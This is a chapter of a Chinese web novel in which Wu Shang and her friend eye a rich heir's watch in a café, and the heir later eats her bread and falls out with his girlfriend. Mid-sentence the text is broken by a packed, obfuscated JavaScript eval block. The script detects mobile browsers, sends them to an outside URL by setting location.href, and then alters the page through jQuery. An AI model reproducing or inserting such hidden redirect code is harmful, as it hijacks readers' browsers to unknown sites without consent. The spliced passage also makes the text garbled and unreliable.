那天吴裳问宋景:“你也算大户人家的小姐,你是不是也有一百万的手表?”
宋景笑她疯魔:“在江浙沪一带,我家真的只是…”宋景想说江浙沪一代,“小生意大老板”那真的是不罕见。譬如这个村子都做纽扣,那个村子都做袜子,小富即安以上,大富大贵之下。宋景觉得自己家里即是如此,一百万的手表,她父母可舍不得。
吴裳就笑了。她正在研究手里的蛋糕胚,想在外婆生日的时候亲自做蛋糕给她吃。外婆喜欢吃蛋糕,但她糖尿病,无论什么好吃的蛋糕她都只能吃一小口,从不曾尽兴过。
宋景闻着味很馋,推推眼镜凑过来,鼻子动了动:“是废料吗?”
“你尝尝算不算废料。”吴裳切了一小块儿给她,宋景心满意足:“要么我找我爸妈投资你开蛋糕店吧!”她只是玩笑,她那对精打细算的父母,是万万不会把钱花在蛋糕店上的。
海州这里,很多人做灯饰相关起家。宋景父母开了个小工厂,专门生产开关面板。这小工厂不足十个人,一年也能做出上千万的生意。如果命运不对阮香玉进行洗劫,或许现在吴裳跟阮香玉也能做邻居了。
“那个百万公子常去喝咖啡吗?叫什么?海州这么小,你确定你之前没见过他?”
“他脸上贴着人民币出门,我就能记住他了。”吴裳想起林在堂完全不记得她,故意把手中东西一摔,泄愤似的。
“那我倒要去看看了。”宋景说。她的厚眼镜并非学习所致,她看闲书,把自己看成了小“四眼儿”。
吴裳真的带她去看。
日子多少有些无聊,难得有这样的消遣,就连许姐姐都跃跃欲试,对宋景说:“只要我给你使眼色,那就是了。但是小姑娘我告诉你,你不要吓跑人家。”
她们并不知那位林在堂是否还会再来,只是多了一件事,倒也很奇妙。每当门铃响起,三人都齐齐望过去,姿态像海边聚集发呆的海鸟,向左看向后看都很整齐。实在好玩。
所幸林在堂来了。
他刚接手公司,忙得不可开交,傍晚时候人有些萎靡,就想着下来走走。海州最繁华的街区,有林家企业冠名的办公楼:星光大厦。他站在那里看着那几个字很久,星字暗了上半头,变成了生光大厦。这“垂垂老矣”的姿态,就像星光灯饰,静待一场回春的变革。
看了片刻,饿了,不知吃什么,就看到了街对面的小咖啡馆。上次进门,他闻到了烤面包的香气。海州的老式蛋糕,奶油甜腻,儿时的林在堂喜欢,但现在已经吃不下了。他回到海州后还没吃过好吃的现烤面包,这样想着就向咖啡店走去。
当他推开门的一瞬间,他看到老板的眼睛挤了下。气氛很怪异,一个陌生的姑娘盯着他的脸,而吴裳则看着他的手腕。
他甚至没有听到她们每次都要喊的那句“欢迎光临”,只有那个老时钟在滴答滴答地响。
他的目光刻意绕过吴裳,看向许姐姐,轻声问:“还能做咖啡吗?”
“能,能,当然能。”许姐姐招呼他,又对宋景使了个眼色。宋景的手指捏在一起敲自己的脑门,另一只手指着林在堂,绞尽脑汁去回忆,想跟林在堂相认。
“你…”宋景指指林在堂,又看着吴裳:“你不记得他吗?是学长啊!”宋景记得清楚,她们读初一时候,跟同班的女孩去看学校最好看的男生。高二班的林在堂位列第一,可惜他只短暂地存在于她们的青春期半年,高二下学期,林在堂就去上海读书了。
可宋景记得他。
宋景记得学校里每一个好看的男孩子。
吴裳没有回应宋景,她只是偷瞄林在堂的手表。她好奇一百万的表究竟是什么样子。林在堂意识到了她的好奇,把手表摘下来放到台面上,淡然地说:“这是假的。”
林在堂有一块真的,是祖父送他的礼物,但他舍不得戴,又怕祖父伤心,就买了一块假的。他不是败家子,一定要炫耀家世。他的朋友们从不追究真假,事实上当家底足够厚,假的也会变成真的。
他捕捉到了吴裳的好奇心,也坦诚地告诉她真相,这没什么尴尬的。甚至快速问起别的:“有现烤的面包吗?我想买点。”
“还有五分钟。”吴裳答,接着指指那块表,问道:“我能仔细看看吗?”
“当然。”
林在堂把表推给她,也在这个时候想起下雪那天,吴裳说她喜欢有钱的男人。从某些层面来讲,林在堂对这样的人很熟悉。他们很清楚自己要什么,并能为此不择手段。他见过很多类似的荒唐事,再往前几年,他也有过人生也不过一场荒唐梦的想法。唯一庆幸的是他的感情避开了这样的雷区。
面包烤好了。
是一个大吐司,他听到烤箱“叮“一声,吴裳小跑着去拿,满屋子都是香气。另一个自称是他学妹的姑娘立即动起鼻子:“好好闻,吴裳你好厉害。”吴裳呢,昂首挺胸,倒拗出了几分骄傲。
“我送您两片尝一尝,如果好吃就让你的朋友多来捧场。”许姐姐对林在堂说。
林在堂点头道谢,拎着那个好看的纸袋子出了咖啡店,径直回到公司。他沿用了父亲林褚蓄从前的办公室,在走廊尽头,很安静的地方。楼道两边是一个挨一个的办公室,门上贴着某某部门字样。推门进去就是逼仄的空间,过道处堆着资料或样品,办公桌的隔板很高。他的办公室则相对好一些,有茶桌和书柜,还有两面很气派的落地窗。
海州人爱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483263|170051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
喝茶。有钱人家每年明前会搞一些头采的好茶,而普通人家则会去山上采些茶自己炒。林在堂自小就泡在茶香里,有时他会恍惚闻到自己身上有茶“腌渍”出的味道。他不喜喝酒,倘若一定要喝,不能太烈。烟倒是会抽,但没有任何瘾头,只在压力大的时候来一根。
这会儿办公楼里已空无一人。
他沿着长长的走廊走着,手里还攥着那个装着纸袋的面包。进了办公室,认真洗了手,这才打开包装袋拿出一片面包站在窗前吃。
面包用料考究,很醇香,不甜腻,口感绵密。他原本对面包甜品没什么感觉,但偶尔吃到这么一口,令人精神振奋。能沉下心来烤出这样的面包,也算很厉害。
想到孟若星爱吃这些,就给她发消息:“下雪那天你说咖啡不错的那家店,面包也相当好吃。”
孟若星直到半夜才回复:“刚刚在收拾行李。我要跟爸爸妈妈去上海呆几天。”
孟若星的性格飘忽不定,这些年与林在堂总是忽远忽近若即若离。林在堂只谈过这一段恋爱,所以以为所有的爱情都是如此,甜蜜的时候是蜜里调油,痛苦的时候是刀尖剜肉。
“你来找我吗?”孟若星说:“我想你了。才一天没见,我就好想你呀!”
偏偏林在堂被爷爷拉去应酬,在私人庄园里与人觥筹交错,错过了这条短信。等他终于抽身,再打给孟若星,她已经不接电话了。
孟若星生气了。
她是小孩脾气,从不在林在堂面前隐藏,高兴时候欢天喜地,生气的时候就闭口不言。林在堂去她家找她,她家里的阿姨说她已经连夜跟父母去了上海。
这样的事不管发生多少次,都会让林在堂难受。他知道唯有去上海孟若星才会消气,但这一次,林在堂没去。
他走在深夜的海洲街头,一时之间不知该去哪。而这一天晚上,吴裳回到老宅,翻起她储存的“宝贝”们。她记得那块表的,但真奇怪,她找不到了。
外婆叶曼文站在门口看她把卧室翻得乱七八糟,忍不住逗她:“你这样毛毛躁躁,以后怎么嫁给濮君阳啊?”
吴裳闻言停下动作,流露出几分伤心:“外婆你不知道吗?濮君阳秋天时候结婚了。”
藏不住心事的吴裳神情一瞬间黯淡下来,叶曼文想了想说:“那挺好的,不然我总觉得你会被他欺负的。就像你外公欺负我。重感情的那个总要被拿捏的。”
“外婆,你还记得我拿回来的那块怀表吗?”吴裳突然这样问:“我有一个朋友可能失忆了,但看到那块表没准会想起我来。”
她好天真。叶曼文这样想,不会有人失忆的,只是干脆不想与你相认罢了。
老人家叹了口气。